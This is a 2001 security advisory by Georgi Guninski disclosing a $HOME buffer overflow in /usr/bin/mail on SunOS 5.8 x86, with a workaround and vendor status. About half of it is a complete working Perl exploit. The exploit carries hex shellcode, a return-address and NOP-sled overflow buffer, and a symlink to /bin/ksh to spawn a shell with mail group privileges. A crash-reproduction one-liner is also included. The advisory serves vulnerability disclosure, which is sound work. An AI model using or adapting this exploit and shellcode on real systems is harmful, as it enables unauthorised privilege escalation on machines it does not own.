| Georgi Guninski security advisory #46, 2001
$HOME buffer overflow in SunOS 5.8 x86
Systems affected:
SunOS 5.8 x86 have not tested on other OSes
Risk: Medium
Date: 4 June 2001
Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute
it unmodified. You may not modify it and distribute it or distribute parts
of it without the author's written permission.
Disclaimer:
The information in this advisory is believed to be true based on experiments
though it may be false. The opinions expressed in this advisory and program
are my own and not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no responsibility
for content or misuse of this advisory or program or any derivatives thereof.
Description:
There is a buffer overflow in SunOS 5.8 x86 with $HOME and /usr/bin/mail
leading to egid=mail.
Details:
HOME=`perl -e 'print "A"x1100'` ; export HOME
mail a
CTL-C
eip gets smashed with 0x41414141.
Exploit:
#!/usr/bin/perl
# /usr/bin/mail exploit by Georgi Guninski
use Env qw($HOME);
#shell code taken from Pablo Sor's mailx exploit
$shell = "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06";
$shell .="\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90";
$shell .="\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0";
$shell .="\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33";
$shell .="\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec";
$shell .="\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89";
$shell .="\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50";
$shell .="\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2";
$shell .="\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4";
$shell .="\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78";
$RET = "\xa0\x6f\x04\x08" ; #may need to change
this
$OVER=1032;
$ALL=1200;
$buf=$RET x ($OVER/4) . "\x90" x ($ALL - $OVER
- length($shell)) . $shell;
system("/bin/ln -s /bin/ksh /tmp/xx");
print "Written by Georgi Guninski, shell code
taken from Pablo Sor's mailx exploit.\nPress CTL-C\n";
$ENV{HOME}=$buf;
exec "/usr/bin/mail","A"; |
Workaround:
chmod -s /usr/bin/mail
Vendor status:
Sun was informed on 29 May 2001 about /usr/bin/mail and shall release
patches. |
